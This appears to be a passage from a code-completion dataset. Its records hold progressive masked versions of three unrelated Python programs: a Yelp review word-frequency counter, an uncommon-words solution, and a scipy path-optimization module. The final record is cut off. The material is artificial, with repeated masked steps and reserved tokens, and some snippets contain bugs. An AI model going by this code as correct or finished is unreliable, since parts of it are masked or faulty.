USEFUL_COL = 6 FUNNY_COL = 7 COOL_COL = 8 pattern = re.compile('\\W') with open('yelp_review.csv', encoding='utf8') as csvfile: wordFrequencies = defaultdict(int) def beautifyDate(res): dt = time.strptime(res, '%Y-%m-%d') return calendar.timegm(dt) def getAsciiFriendlyString(text, wordFrequencies): """ Things to note about the code: this code include punctuation and immediately adds non ASCII friendly into the <unk> pile """ strings = text.lower() strings = strings.split(' ') for wrd in strings: try: wrd = re.sub(pattern, '', wrd) wrd.encode('ascii') wordFrequencies[wrd] += 1 except UnicodeEncodeError: wordFrequencies['<unk>'] += 1 toyTrain = open('100k_numDate_train.csv', 'w') toyWriter = csv.writer(toyTrain, delimiter=',', quotechar='|', quoting= csv.QUOTE_MINIMAL, lineterminator='\n') print('Creating List....') readCSV = list(csv.reader(csvfile, delimiter=',')) print('Finished creating list....') print('Number of examples:', len(readCSV)) excludeSet = {REVIEW_ID_COL} fieldNames = readCSV[0] print(fieldNames) readForOneHot = readCSV[1:] print('Going through the words for the frequencies.') for row in readForOneHot: getAsciiFriendlyString(row[TEXT_COL], wordFrequencies) print(len(readForOneHot)) print('creating file with word frequencies') wrdFrq = open('yelp_word_frequencies.csv', 'w') wrdFrqWriter = csv.writer(wrdFrq, delimiter=',', quotechar='|', quoting =csv.QUOTE_MINIMAL) wrdFrqWriter.writerow(['word', 'frequency']) for wrd in wordFrequencies: wrdFrqWriter.writerow([wrd, wordFrequencies[wrd]]) <|reserved_special_token_1|> <|reserved_special_token_0|> import csv import time, datetime import calendar from collections import defaultdict import chardet import re REVIEW_ID_COL = 0 USER_ID_COL = 1 BUSINESS_ID_COL = 2 STARS_COL = 3 DATE_COL = 4 TEXT_COL = 5 USEFUL_COL = 6 FUNNY_COL = 7 COOL_COL = 8 pattern = re.compile('\\W') with open('yelp_review.csv', encoding='utf8') as csvfile: wordFrequencies = defaultdict(int) def beautifyDate(res): dt = time.strptime(res, '%Y-%m-%d') return calendar.timegm(dt) def getAsciiFriendlyString(text, wordFrequencies): """ Things to note about the code: this code include punctuation and immediately adds non ASCII friendly into the <unk> pile """ strings = text.lower() strings = strings.split(' ') for wrd in strings: try: wrd = re.sub(pattern, '', wrd) wrd.encode('ascii') wordFrequencies[wrd] += 1 except UnicodeEncodeError: wordFrequencies['<unk>'] += 1 toyTrain = open('100k_numDate_train.csv', 'w') toyWriter = csv.writer(toyTrain, delimiter=',', quotechar='|', quoting= csv.QUOTE_MINIMAL, lineterminator='\n') print('Creating List....') readCSV = list(csv.reader(csvfile, delimiter=',')) print('Finished creating list....') print('Number of examples:', len(readCSV)) excludeSet = {REVIEW_ID_COL} fieldNames = readCSV[0] print(fieldNames) readForOneHot = readCSV[1:] print('Going through the words for the frequencies.') for row in readForOneHot: getAsciiFriendlyString(row[TEXT_COL], wordFrequencies) print(len(readForOneHot)) print('creating file with word frequencies') wrdFrq = open('yelp_word_frequencies.csv', 'w') wrdFrqWriter = csv.writer(wrdFrq, delimiter=',', quotechar='|', quoting =csv.QUOTE_MINIMAL) wrdFrqWriter.writerow(['word', 'frequency']) for wrd in wordFrequencies: wrdFrqWriter.writerow([wrd, wordFrequencies[wrd]]) <|reserved_special_token_1|> """ This file goes through the data to find the frequencies of words in the corpus """ import csv import time, datetime import calendar from collections import defaultdict import chardet import re REVIEW_ID_COL = 0; USER_ID_COL = 1 BUSINESS_ID_COL = 2 STARS_COL = 3 DATE_COL = 4 TEXT_COL = 5 USEFUL_COL = 6 FUNNY_COL = 7 COOL_COL = 8 pattern = re.compile('\W') with open("yelp_review.csv", encoding="utf8") as csvfile: wordFrequencies = defaultdict(int) def beautifyDate(res): # This function returns a floating point that gives the UTC # print (res) dt = time.strptime(res, '%Y-%m-%d') return calendar.timegm(dt) def getAsciiFriendlyString(text, wordFrequencies): """ Things to note about the code: this code include punctuation and immediately adds non ASCII friendly into the <unk> pile """ strings = text.lower() strings = strings.split(" ") for wrd in strings: try: wrd = re.sub(pattern, '', wrd) #print (wrd) wrd.encode('ascii') wordFrequencies[wrd] += 1 except UnicodeEncodeError: #print (":( ", wrd) wordFrequencies["<unk>"] += 1 #getAsciiFriendlyString("mooing!@ cows are the best", wordFrequencies) #print (len(wordFrequencies)) #for wrd in wordFrequencies: #print (wrd, wordFrequencies[wrd]) #wrdFrqWriter.writerow([wrd]) toyTrain = open("100k_numDate_train.csv", 'w') toyWriter = csv.writer(toyTrain, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL, lineterminator = '\n') print ("Creating List....") readCSV = list(csv.reader(csvfile, delimiter=',')) print ("Finished creating list....") print ("Number of examples:", len(readCSV)) excludeSet = {REVIEW_ID_COL}; fieldNames = readCSV[0] print(fieldNames) readForOneHot = readCSV[1:] print ("Going through the words for the frequencies.") # Go through the set, finding the frequencies for row in readForOneHot: getAsciiFriendlyString(row[TEXT_COL], wordFrequencies) print (len(readForOneHot)) # Write the frequencies to a file (so we don't have to do this again.....) print ("creating file with word frequencies") wrdFrq = open("yelp_word_frequencies.csv", 'w') wrdFrqWriter = csv.writer(wrdFrq, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL) wrdFrqWriter.writerow(["word", "frequency"]) for wrd in wordFrequencies: wrdFrqWriter.writerow([wrd, wordFrequencies[wrd]])
flexible
{ "blob_id": "ba54b3a148a34ced74a337665ddd5f2d9084553b", "index": 1489, "step-1": "<mask token>\n", "step-2": "<mask token>\nwith open('yelp_review.csv', encoding='utf8') as csvfile:\n wordFrequencies = defaultdict(int)\n\n def beautifyDate(res):\n dt = time.strptime(res, '%Y-%m-%d')\n return calendar.timegm(dt)\n\n def getAsciiFriendlyString(text, wordFrequencies):\n \"\"\"\n\t\tThings to note about the code: this code include punctuation and immediately adds non ASCII\n\t\tfriendly into the <unk> pile\n\t\t\"\"\"\n strings = text.lower()\n strings = strings.split(' ')\n for wrd in strings:\n try:\n wrd = re.sub(pattern, '', wrd)\n wrd.encode('ascii')\n wordFrequencies[wrd] += 1\n except UnicodeEncodeError:\n wordFrequencies['<unk>'] += 1\n toyTrain = open('100k_numDate_train.csv', 'w')\n toyWriter = csv.writer(toyTrain, delimiter=',', quotechar='|', quoting=\n csv.QUOTE_MINIMAL, lineterminator='\\n')\n print('Creating List....')\n readCSV = list(csv.reader(csvfile, delimiter=','))\n print('Finished creating list....')\n print('Number of examples:', len(readCSV))\n excludeSet = {REVIEW_ID_COL}\n fieldNames = readCSV[0]\n print(fieldNames)\n readForOneHot = readCSV[1:]\n print('Going through the words for the frequencies.')\n for row in readForOneHot:\n getAsciiFriendlyString(row[TEXT_COL], wordFrequencies)\n print(len(readForOneHot))\n print('creating file with word frequencies')\n wrdFrq = open('yelp_word_frequencies.csv', 'w')\n wrdFrqWriter = csv.writer(wrdFrq, delimiter=',', quotechar='|', quoting\n =csv.QUOTE_MINIMAL)\n wrdFrqWriter.writerow(['word', 'frequency'])\n for wrd in wordFrequencies:\n wrdFrqWriter.writerow([wrd, wordFrequencies[wrd]])\n", "step-3": "<mask token>\nREVIEW_ID_COL = 0\nUSER_ID_COL = 1\nBUSINESS_ID_COL = 2\nSTARS_COL = 3\nDATE_COL = 4\nTEXT_COL = 5\nUSEFUL_COL = 6\nFUNNY_COL = 7\nCOOL_COL = 8\npattern = re.compile('\\\\W')\nwith open('yelp_review.csv', encoding='utf8') as csvfile:\n wordFrequencies = defaultdict(int)\n\n def beautifyDate(res):\n dt = time.strptime(res, '%Y-%m-%d')\n return calendar.timegm(dt)\n\n def getAsciiFriendlyString(text, wordFrequencies):\n \"\"\"\n\t\tThings to note about the code: this code include punctuation and immediately adds non ASCII\n\t\tfriendly into the <unk> pile\n\t\t\"\"\"\n strings = text.lower()\n strings = strings.split(' ')\n for wrd in strings:\n try:\n wrd = re.sub(pattern, '', wrd)\n wrd.encode('ascii')\n wordFrequencies[wrd] += 1\n except UnicodeEncodeError:\n wordFrequencies['<unk>'] += 1\n toyTrain = open('100k_numDate_train.csv', 'w')\n toyWriter = csv.writer(toyTrain, delimiter=',', quotechar='|', quoting=\n csv.QUOTE_MINIMAL, lineterminator='\\n')\n print('Creating List....')\n readCSV = list(csv.reader(csvfile, delimiter=','))\n print('Finished creating list....')\n print('Number of examples:', len(readCSV))\n excludeSet = {REVIEW_ID_COL}\n fieldNames = readCSV[0]\n print(fieldNames)\n readForOneHot = readCSV[1:]\n print('Going through the words for the frequencies.')\n for row in readForOneHot:\n getAsciiFriendlyString(row[TEXT_COL], wordFrequencies)\n print(len(readForOneHot))\n print('creating file with word frequencies')\n wrdFrq = open('yelp_word_frequencies.csv', 'w')\n wrdFrqWriter = csv.writer(wrdFrq, delimiter=',', quotechar='|', quoting\n =csv.QUOTE_MINIMAL)\n wrdFrqWriter.writerow(['word', 'frequency'])\n for wrd in wordFrequencies:\n wrdFrqWriter.writerow([wrd, wordFrequencies[wrd]])\n", "step-4": "<mask token>\nimport csv\nimport time, datetime\nimport calendar\nfrom collections import defaultdict\nimport chardet\nimport re\nREVIEW_ID_COL = 0\nUSER_ID_COL = 1\nBUSINESS_ID_COL = 2\nSTARS_COL = 3\nDATE_COL = 4\nTEXT_COL = 5\nUSEFUL_COL = 6\nFUNNY_COL = 7\nCOOL_COL = 8\npattern = re.compile('\\\\W')\nwith open('yelp_review.csv', encoding='utf8') as csvfile:\n wordFrequencies = defaultdict(int)\n\n def beautifyDate(res):\n dt = time.strptime(res, '%Y-%m-%d')\n return calendar.timegm(dt)\n\n def getAsciiFriendlyString(text, wordFrequencies):\n \"\"\"\n\t\tThings to note about the code: this code include punctuation and immediately adds non ASCII\n\t\tfriendly into the <unk> pile\n\t\t\"\"\"\n strings = text.lower()\n strings = strings.split(' ')\n for wrd in strings:\n try:\n wrd = re.sub(pattern, '', wrd)\n wrd.encode('ascii')\n wordFrequencies[wrd] += 1\n except UnicodeEncodeError:\n wordFrequencies['<unk>'] += 1\n toyTrain = open('100k_numDate_train.csv', 'w')\n toyWriter = csv.writer(toyTrain, delimiter=',', quotechar='|', quoting=\n csv.QUOTE_MINIMAL, lineterminator='\\n')\n print('Creating List....')\n readCSV = list(csv.reader(csvfile, delimiter=','))\n print('Finished creating list....')\n print('Number of examples:', len(readCSV))\n excludeSet = {REVIEW_ID_COL}\n fieldNames = readCSV[0]\n print(fieldNames)\n readForOneHot = readCSV[1:]\n print('Going through the words for the frequencies.')\n for row in readForOneHot:\n getAsciiFriendlyString(row[TEXT_COL], wordFrequencies)\n print(len(readForOneHot))\n print('creating file with word frequencies')\n wrdFrq = open('yelp_word_frequencies.csv', 'w')\n wrdFrqWriter = csv.writer(wrdFrq, delimiter=',', quotechar='|', quoting\n =csv.QUOTE_MINIMAL)\n wrdFrqWriter.writerow(['word', 'frequency'])\n for wrd in wordFrequencies:\n wrdFrqWriter.writerow([wrd, wordFrequencies[wrd]])\n", "step-5": "\"\"\"\r\nThis file goes through the data to find the frequencies of words in the corpus\r\n\"\"\"\r\n\r\nimport csv\r\nimport time, datetime\r\nimport calendar\r\nfrom collections import defaultdict\r\nimport chardet\r\nimport re\r\n\r\nREVIEW_ID_COL = 0;\r\nUSER_ID_COL = 1\r\nBUSINESS_ID_COL = 2\r\nSTARS_COL = 3\r\nDATE_COL = 4\r\nTEXT_COL = 5\r\nUSEFUL_COL = 6\r\nFUNNY_COL = 7\r\nCOOL_COL = 8\r\n\r\npattern = re.compile('\\W')\r\n\r\nwith open(\"yelp_review.csv\", encoding=\"utf8\") as csvfile:\r\n\twordFrequencies = defaultdict(int)\r\n\tdef beautifyDate(res): \r\n\t\t# This function returns a floating point that gives the UTC\r\n\t\t# print (res)\r\n\t\tdt = time.strptime(res, '%Y-%m-%d')\r\n\t\treturn calendar.timegm(dt)\r\n\r\n\tdef getAsciiFriendlyString(text, wordFrequencies):\r\n\t\t\"\"\"\r\n\t\tThings to note about the code: this code include punctuation and immediately adds non ASCII\r\n\t\tfriendly into the <unk> pile\r\n\t\t\"\"\"\r\n\t\tstrings = text.lower()\r\n\t\tstrings = strings.split(\" \")\r\n\t\tfor wrd in strings:\r\n\t\t\ttry:\r\n\t\t\t\twrd = re.sub(pattern, '', wrd)\r\n\t\t\t\t#print (wrd)\r\n\t\t\t\twrd.encode('ascii')\r\n\t\t\t\twordFrequencies[wrd] += 1\r\n\t\t\texcept UnicodeEncodeError:\r\n\t\t\t\t#print (\":( \", wrd)\r\n\t\t\t\twordFrequencies[\"<unk>\"] += 1\r\n\r\n\t#getAsciiFriendlyString(\"mooing!@ cows are the best\", wordFrequencies)\r\n\t#print (len(wordFrequencies))\r\n\t#for wrd in wordFrequencies:\r\n\t\t#print (wrd, wordFrequencies[wrd])\r\n\t\t#wrdFrqWriter.writerow([wrd])\r\n\ttoyTrain = open(\"100k_numDate_train.csv\", 'w')\r\n\ttoyWriter = csv.writer(toyTrain, delimiter=',',\r\n\t\tquotechar='|', quoting=csv.QUOTE_MINIMAL, lineterminator = '\\n')\r\n\tprint (\"Creating List....\")\r\n\treadCSV = list(csv.reader(csvfile, delimiter=','))\r\n\tprint (\"Finished creating list....\")\r\n\tprint (\"Number of examples:\", len(readCSV))\r\n\texcludeSet = {REVIEW_ID_COL};\r\n\r\n\tfieldNames = readCSV[0]\r\n\tprint(fieldNames)\r\n\r\n\treadForOneHot = readCSV[1:]\r\n\r\n\tprint (\"Going through the words for the frequencies.\")\r\n\t# Go through the set, finding the frequencies\r\n\tfor row in readForOneHot:\r\n\t\tgetAsciiFriendlyString(row[TEXT_COL], wordFrequencies)\r\n\r\n\tprint (len(readForOneHot))\r\n\t# Write the frequencies to a file (so we don't have to do this again.....)\r\n\tprint (\"creating file with word frequencies\")\r\n\r\n\twrdFrq = open(\"yelp_word_frequencies.csv\", 'w')\r\n\twrdFrqWriter = csv.writer(wrdFrq, delimiter=',',\r\n\t\tquotechar='|', quoting=csv.QUOTE_MINIMAL)\r\n\twrdFrqWriter.writerow([\"word\", \"frequency\"])\r\n\tfor wrd in wordFrequencies:\r\n\t\twrdFrqWriter.writerow([wrd, wordFrequencies[wrd]])\r\n\r\n\r\n\r\n\r\n\t\t\r\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
class Solution: def uncommonFromSentences(self, A: str, B: str) ->List[str]: word_count = {} A = A.split() B = B.split() whole = A + B for word in whole: if word not in word_count: word_count[word] = 1 else: word_count[word] += 1 return [word for word in word_count if word_count[word] == 1]
normal
{ "blob_id": "09420360ddcf2f74c2e130b4e09ae2a959e42e50", "index": 8305, "step-1": "<mask token>\n", "step-2": "class Solution:\n <mask token>\n", "step-3": "class Solution:\n\n def uncommonFromSentences(self, A: str, B: str) ->List[str]:\n word_count = {}\n A = A.split()\n B = B.split()\n whole = A + B\n for word in whole:\n if word not in word_count:\n word_count[word] = 1\n else:\n word_count[word] += 1\n return [word for word in word_count if word_count[word] == 1]\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
from erlport.erlterms import Atom from scipy.optimize import basinhopping import numpy as np import qsim class Bounds(object): '''Required for acceptance testing in scipy.optimize.basinhopping''' def __init__(self, xmin, xmax, costs): self.xmax = xmax self.xmin = xmin self.costs = costs def is_valid(self, x): tmax = bool(np.all(x <= self.xmax)) tmin = bool(np.all(x >= self.xmin)) in_order = [x[i] + c <= x[i+1] for i, c in enumerate(self.costs[1:])] in_order.append(x[0] <= self.costs[0]) return tmax and tmin and all(in_order) def __call__(self, **kwargs): x = kwargs["x_new"] return self.is_valid(x) def SLSQP_constraints(self): '''Return inequality constraints for SLSQP, in particular, assert that 0 >= x_i - x_i-1 forall i''' funs = [lambda x: x[i + 1] - x[i] + c for i, c in enumerate(self.costs[1:])] funs.append(lambda x: x[0] + self.costs[0]) funs += [lambda x: x[i] for i in xrange(len(self.costs))] funs += [lambda x: -x[i]] # im matrix form n = len(self.costs) # -x_i <= 0 neg = np.identity(n) * -1 rhs1 = np.ones(n) * self.xmin rhs1[0] += self.costs[0] # tmax constraints tmax = np.identity(n) rhs2 = np.ones(n) * self.xmax # cost constraints A = np.vstack((neg, tmax)) b = np.hstack((rhs1, rhs2)) if n >= 2: root = [1, -1] + [0] * (n - 2) z = np.vstack([np.roll(root, i) for i in xrange(n-1)]) rhs3 = np.array(self.costs[1:]) A = np.vstack((A, z)) b = np.hstack((b, rhs3)) return {"slsqp": {'type': 'ineq', 'fun': lambda x: b - np.dot(A, x)}, "cobyla": [{'type': 'ineq', 'fun': f} for f in funs]} def SLSQP_bounds(self): '''Return bounds as sequence''' return [(self.xmin, self.xmax) for i in xrange(len(self.costs))] class Stepper(object): def __init__(self, bounds, stepsize=10, max_iter=20, deflate=0.5): self.bounds = bounds self.stepsize = stepsize self.max_iter = max_iter self.deflate = deflate def __call__(self, x): y = None for i in xrange(self.max_iter): B = self.deflate ** (i + 1) r = self.stepsize * B u = np.random.uniform(-r, r, x.shape) if self.bounds.is_valid(x + u): x += u return x return x def optimize_path(paths, behaviours, btg, start, prediction, dt, maxiter): '''Erlang Entry Point to Optimization Module''' B_table = parse_behaviours(behaviours) BTG = parse_edgelist(btg) F = parse_prediction(prediction) path, t = best_path(paths, B_table, BTG, F, dt=dt, maxiter=10) return list(path), map(lambda x: int(x) + start, t.x) def best_path(paths, Behaviour_Table, BTG, F, dt=1., maxiter=20, Acc0=None, method="SLSQP"): ''' Perform the mixed ILP optimization (without queues, or memory), that yields the optimal behaviour transition through the BTG. :paths -> iterable of path-iterables, path-domain for optimization Each path-iterable contains only behaviour_id. :Behaviour_Table -> Dict of the form {behaviour_id: <behaviour_vec>} Must contain all behaviours in btg :btg -> Behaviour Transition Graph, nodes are behaviour_ids, dictionary of the form {(v_1, v_2): tau_1,2} :F -> Prediction matrix, of shape (|b_vec|, n), where n is int(T_max/dt) :dt -> Prediction time-resolution :Acc0 -> Initial queue Accumulator (queue length) value, defaults 0. ''' # Given a particular path, find the optimal times to transition Acc0 = np.zeros(F.shape[0]) if Acc0 is None else Acc0 Solutions = [] t_max = int((F.shape[-1] - 1) * dt) initial_T = F.sum() / len(paths[0]) for path in paths: L, x0, bounds, step_taker = opt_params(path, Behaviour_Table, BTG, t_max, F, dt=dt, Acc0=Acc0) minimizer_kwargs = {'method': method, 'bounds': bounds.SLSQP_bounds(), 'constraints': bounds.SLSQP_constraints()[method.lower()], } result = basinhopping(L, x0.copy(), accept_test=bounds, take_step=step_taker, stepsize=10*dt, niter=maxiter, T=initial_T, interval=20, minimizer_kwargs=minimizer_kwargs) Solutions.append(result) i, BestPath = min(((i, s) for i, s in enumerate(Solutions)), key=lambda x: x[1].fun) return paths[i], BestPath def opt_params(path, BTable, BTG, t_max, F, dt, Acc0, q_acc_model=qsim.integrator, q_acc_model_args=[], q_model_kwargs={}, q_relief_model=qsim.linear_relief, deadtime_penalty=4): '''Generates the components necessary to completely specify best-path optimization routine. (With a queue model) Returns: :Lagrangian Objective Function L(x) -> Contains a Barrier Component :x0 -> an initial realizeable solution :bounds -> a Bounds() object, that defines surrounding hyper-volume for x ''' B = np.vstack(BTable[bid] for bid in path) # Behaviour Matrix (d,4) taus = transition_costs(path, BTG) x0 = initial_soln(path, t_max) bounds = Bounds(0., (F.shape[-1] - 1) * dt, taus) def cost(x, p=deadtime_penalty): '''Simulate the queue effects, and then evaluate the objective function on the simulation result''' k = F.shape[1] if F.shape[1] > 0 else 1 avg_rates = F.sum(1) / k Z, Acc = qsim.cascading_relief(F, path, x, costs=taus, BTable=BTable, Acc0=Acc0, relief_mode_kwargs={"rate": 0.5}) cum_Z = np.cumsum(Z, axis=1) Deadtimes = np.where(Z == 0, 0, 1).sum(1) return (-obj(x, B, cum_Z, taus, dt=dt) + 0.25* avg_rates.dot(Deadtimes) ** 2 - avg_rates.sum()*Acc.sum()) # ???? step_taker = Stepper(bounds, 10, 20) return cost, x0, bounds, step_taker # Parsers ############################################################### def parse_edgelist(edges): '''[((a, b), tau)] -> {(a, b): tau}''' return {(a, b): tau for (a, b), tau in edges} def parse_behaviours(behaviours, dtype=np.float32): '''[(bid, [bvec])] -> {bid: <bvec>}''' return {bid: np.array(bvec).sum(1) for bid, bvec in behaviours} def parse_prediction(F): '''[[float]] -> np.array(...) of same shape''' return np.array(F) # Might not work, will check back later # Optimization ############################################################### def initial_soln(path, t_max): '''Evenly Distributed, no check for taus''' j = t_max / len(path) return np.array([(i + 1) * j for i in xrange(len(path) - 1)]) def transition_costs(path, btg): '''Sequence of transition costs associated with the prescribed path''' return [btg[(path[i], path[i+1])] for i in xrange(len(path) - 1)] def range_sum(cum_F, a, b, penalty=-1000): '''Penalty brutally dominates any out-of-index operation...''' z = cum_F.shape[-1] - 1 if (not 0 <= a <= z) or (not 0 <= b <= z): return np.ones(cum_F.shape[0]) * penalty return cum_F[..., b] - cum_F[..., a] def flow_served(cum_F, times, costs, queue_model=None, dt=1.): '''Times: [t1, ..., td], costs: [t_{b0, b1}, t_{b1, b2}, ...] Returns the Fulfillment matrix associated with each behaviour segment.''' discr_index = lambda x: int(x / dt) - 1 t_steps = [0] + map(discr_index, times) t_steps.append(cum_F.shape[-1] - 1) # t_max c_steps = [0] + map(discr_index, costs) result = np.vstack([range_sum(cum_F, t_steps[i] + c_steps[i], t_steps[i + 1]) for i in xrange(len(costs) + 1)]) return result def obj(times, B, cum_F, costs, dt=1.): '''Objective Function for Hillclimbing''' Z = B * flow_served(cum_F, times, costs, dt=dt) return Z.sum() def barrier(times, path, BTG): '''Handles Linear/causality Constraints with respect to transitions''' t = [0] + list(times) S = 0. for i in xrange(len(path) - 1): edge = (path[i], path[i + 1]) tau = BTG[edge] S += min(0, (t[i + 1] - t[i] - tau)) # Only accrue if constraint is voilated return S
normal
{ "blob_id": "0f4bdaecef356e01cbef527d4886564d9ef840fa", "index": 5573, "step-1": "<mask token>\n\n\nclass Bounds(object):\n \"\"\"Required for acceptance testing in scipy.optimize.basinhopping\"\"\"\n\n def __init__(self, xmin, xmax, costs):\n self.xmax = xmax\n self.xmin = xmin\n self.costs = costs\n\n def is_valid(self, x):\n tmax = bool(np.all(x <= self.xmax))\n tmin = bool(np.all(x >= self.xmin))\n in_order = [(x[i] + c <= x[i + 1]) for i, c in enumerate(self.costs\n [1:])]\n in_order.append(x[0] <= self.costs[0])\n return tmax and tmin and all(in_order)\n\n def __call__(self, **kwargs):\n x = kwargs['x_new']\n return self.is_valid(x)\n\n def SLSQP_constraints(self):\n \"\"\"Return inequality constraints for SLSQP,\n in particular, assert that 0 >= x_i - x_i-1 forall i\"\"\"\n funs = [(lambda x: x[i + 1] - x[i] + c) for i, c in enumerate(self.\n costs[1:])]\n funs.append(lambda x: x[0] + self.costs[0])\n funs += [(lambda x: x[i]) for i in xrange(len(self.costs))]\n funs += [lambda x: -x[i]]\n n = len(self.costs)\n neg = np.identity(n) * -1\n rhs1 = np.ones(n) * self.xmin\n rhs1[0] += self.costs[0]\n tmax = np.identity(n)\n rhs2 = np.ones(n) * self.xmax\n A = np.vstack((neg, tmax))\n b = np.hstack((rhs1, rhs2))\n if n >= 2:\n root = [1, -1] + [0] * (n - 2)\n z = np.vstack([np.roll(root, i) for i in xrange(n - 1)])\n rhs3 = np.array(self.costs[1:])\n A = np.vstack((A, z))\n b = np.hstack((b, rhs3))\n return {'slsqp': {'type': 'ineq', 'fun': lambda x: b - np.dot(A, x)\n }, 'cobyla': [{'type': 'ineq', 'fun': f} for f in funs]}\n\n def SLSQP_bounds(self):\n \"\"\"Return bounds as sequence\"\"\"\n return [(self.xmin, self.xmax) for i in xrange(len(self.costs))]\n\n\nclass Stepper(object):\n\n def __init__(self, bounds, stepsize=10, max_iter=20, deflate=0.5):\n self.bounds = bounds\n self.stepsize = stepsize\n self.max_iter = max_iter\n self.deflate = deflate\n\n def __call__(self, x):\n y = None\n for i in xrange(self.max_iter):\n B = self.deflate ** (i + 1)\n r = self.stepsize * B\n u = np.random.uniform(-r, r, x.shape)\n if self.bounds.is_valid(x + u):\n x += u\n return x\n return x\n\n\n<mask token>\n\n\ndef best_path(paths, Behaviour_Table, BTG, F, dt=1.0, maxiter=20, Acc0=None,\n method='SLSQP'):\n \"\"\"\n Perform the mixed ILP optimization (without queues, or memory), that yields\n the optimal behaviour transition through the BTG.\n\n :paths -> iterable of path-iterables, path-domain for optimization\n Each path-iterable contains only behaviour_id.\n :Behaviour_Table -> Dict of the form {behaviour_id: <behaviour_vec>}\n Must contain all behaviours in btg\n :btg -> Behaviour Transition Graph, nodes are behaviour_ids,\n dictionary of the form {(v_1, v_2): tau_1,2}\n :F -> Prediction matrix, of shape (|b_vec|, n),\n where n is int(T_max/dt)\n :dt -> Prediction time-resolution\n :Acc0 -> Initial queue Accumulator (queue length) value, defaults 0.\n \"\"\"\n Acc0 = np.zeros(F.shape[0]) if Acc0 is None else Acc0\n Solutions = []\n t_max = int((F.shape[-1] - 1) * dt)\n initial_T = F.sum() / len(paths[0])\n for path in paths:\n L, x0, bounds, step_taker = opt_params(path, Behaviour_Table, BTG,\n t_max, F, dt=dt, Acc0=Acc0)\n minimizer_kwargs = {'method': method, 'bounds': bounds.SLSQP_bounds\n (), 'constraints': bounds.SLSQP_constraints()[method.lower()]}\n result = basinhopping(L, x0.copy(), accept_test=bounds, take_step=\n step_taker, stepsize=10 * dt, niter=maxiter, T=initial_T,\n interval=20, minimizer_kwargs=minimizer_kwargs)\n Solutions.append(result)\n i, BestPath = min(((i, s) for i, s in enumerate(Solutions)), key=lambda\n x: x[1].fun)\n return paths[i], BestPath\n\n\ndef opt_params(path, BTable, BTG, t_max, F, dt, Acc0, q_acc_model=qsim.\n integrator, q_acc_model_args=[], q_model_kwargs={}, q_relief_model=qsim\n .linear_relief, deadtime_penalty=4):\n \"\"\"Generates the components necessary to completely specify\n best-path optimization routine. (With a queue model)\n\n Returns:\n :Lagrangian Objective Function L(x) -> Contains a Barrier Component\n :x0 -> an initial realizeable solution\n :bounds -> a Bounds() object, that defines surrounding hyper-volume for x\n \"\"\"\n B = np.vstack(BTable[bid] for bid in path)\n taus = transition_costs(path, BTG)\n x0 = initial_soln(path, t_max)\n bounds = Bounds(0.0, (F.shape[-1] - 1) * dt, taus)\n\n def cost(x, p=deadtime_penalty):\n \"\"\"Simulate the queue effects, and then evaluate the objective function\n on the simulation result\"\"\"\n k = F.shape[1] if F.shape[1] > 0 else 1\n avg_rates = F.sum(1) / k\n Z, Acc = qsim.cascading_relief(F, path, x, costs=taus, BTable=\n BTable, Acc0=Acc0, relief_mode_kwargs={'rate': 0.5})\n cum_Z = np.cumsum(Z, axis=1)\n Deadtimes = np.where(Z == 0, 0, 1).sum(1)\n return -obj(x, B, cum_Z, taus, dt=dt) + 0.25 * avg_rates.dot(Deadtimes\n ) ** 2 - avg_rates.sum() * Acc.sum()\n step_taker = Stepper(bounds, 10, 20)\n return cost, x0, bounds, step_taker\n\n\n<mask token>\n\n\ndef parse_behaviours(behaviours, dtype=np.float32):\n \"\"\"[(bid, [bvec])] -> {bid: <bvec>}\"\"\"\n return {bid: np.array(bvec).sum(1) for bid, bvec in behaviours}\n\n\ndef parse_prediction(F):\n \"\"\"[[float]] -> np.array(...) of same shape\"\"\"\n return np.array(F)\n\n\n<mask token>\n\n\ndef range_sum(cum_F, a, b, penalty=-1000):\n \"\"\"Penalty brutally dominates any out-of-index operation...\"\"\"\n z = cum_F.shape[-1] - 1\n if not 0 <= a <= z or not 0 <= b <= z:\n return np.ones(cum_F.shape[0]) * penalty\n return cum_F[..., b] - cum_F[..., a]\n\n\n<mask token>\n\n\ndef barrier(times, path, BTG):\n \"\"\"Handles Linear/causality Constraints with respect to transitions\"\"\"\n t = [0] + list(times)\n S = 0.0\n for i in xrange(len(path) - 1):\n edge = path[i], path[i + 1]\n tau = BTG[edge]\n S += min(0, t[i + 1] - t[i] - tau)\n return S\n", "step-2": "<mask token>\n\n\nclass Bounds(object):\n \"\"\"Required for acceptance testing in scipy.optimize.basinhopping\"\"\"\n\n def __init__(self, xmin, xmax, costs):\n self.xmax = xmax\n self.xmin = xmin\n self.costs = costs\n\n def is_valid(self, x):\n tmax = bool(np.all(x <= self.xmax))\n tmin = bool(np.all(x >= self.xmin))\n in_order = [(x[i] + c <= x[i + 1]) for i, c in enumerate(self.costs\n [1:])]\n in_order.append(x[0] <= self.costs[0])\n return tmax and tmin and all(in_order)\n\n def __call__(self, **kwargs):\n x = kwargs['x_new']\n return self.is_valid(x)\n\n def SLSQP_constraints(self):\n \"\"\"Return inequality constraints for SLSQP,\n in particular, assert that 0 >= x_i - x_i-1 forall i\"\"\"\n funs = [(lambda x: x[i + 1] - x[i] + c) for i, c in enumerate(self.\n costs[1:])]\n funs.append(lambda x: x[0] + self.costs[0])\n funs += [(lambda x: x[i]) for i in xrange(len(self.costs))]\n funs += [lambda x: -x[i]]\n n = len(self.costs)\n neg = np.identity(n) * -1\n rhs1 = np.ones(n) * self.xmin\n rhs1[0] += self.costs[0]\n tmax = np.identity(n)\n rhs2 = np.ones(n) * self.xmax\n A = np.vstack((neg, tmax))\n b = np.hstack((rhs1, rhs2))\n if n >= 2:\n root = [1, -1] + [0] * (n - 2)\n z = np.vstack([np.roll(root, i) for i in xrange(n - 1)])\n rhs3 = np.array(self.costs[1:])\n A = np.vstack((A, z))\n b = np.hstack((b, rhs3))\n return {'slsqp': {'type': 'ineq', 'fun': lambda x: b - np.dot(A, x)\n }, 'cobyla': [{'type': 'ineq', 'fun': f} for f in funs]}\n\n def SLSQP_bounds(self):\n \"\"\"Return bounds as sequence\"\"\"\n return [(self.xmin, self.xmax) for i in xrange(len(self.costs))]\n\n\nclass Stepper(object):\n\n def __init__(self, bounds, stepsize=10, max_iter=20, deflate=0.5):\n self.bounds = bounds\n self.stepsize = stepsize\n self.max_iter = max_iter\n self.deflate = 